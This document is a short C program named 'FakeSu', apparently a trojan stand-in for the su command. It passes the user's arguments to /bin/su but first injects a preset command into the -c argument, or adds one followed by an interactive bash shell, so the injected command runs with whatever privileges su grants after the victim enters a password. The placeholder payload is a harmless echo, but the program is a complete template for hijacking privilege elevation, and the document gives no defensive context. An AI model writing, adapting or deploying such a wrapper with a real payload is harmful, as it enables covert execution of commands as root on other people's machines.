FakeSu

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>

#define CMD "echo \"Hello, World!!\""
int main(int argc,char** argv)
{
    char** new_argv=malloc(sizeof(char*)*(argc+3));
    bool nxt_arg_is_cmd=false,cmd_found=false;
    int i;
    for(i=0;i<argc;i++)
    {
        if(nxt_arg_is_cmd)
        {
            new_argv[i]=malloc(strlen(argv[i])+100);
            strcpy(new_argv[i],CMD);
            strcat(new_argv[i]," && ");
            strcat(new_argv[i],argv[i]);
            cmd_found=true;
            nxt_arg_is_cmd=false;
        }
        else
            new_argv[i]=argv[i];
        if(strcmp("-c",argv[i])==0)nxt_arg_is_cmd=true;
    }
    if(!cmd_found)
    {
        new_argv[argc]="-c";
        new_argv[argc+1]=malloc(100);
        strcpy(new_argv[argc+1],CMD);
        strcat(new_argv[argc+1]," && bash");
        new_argv[argc+2]=NULL;
    }
    else new_argv[argc]=NULL;
    execv("/bin/su",new_argv);
}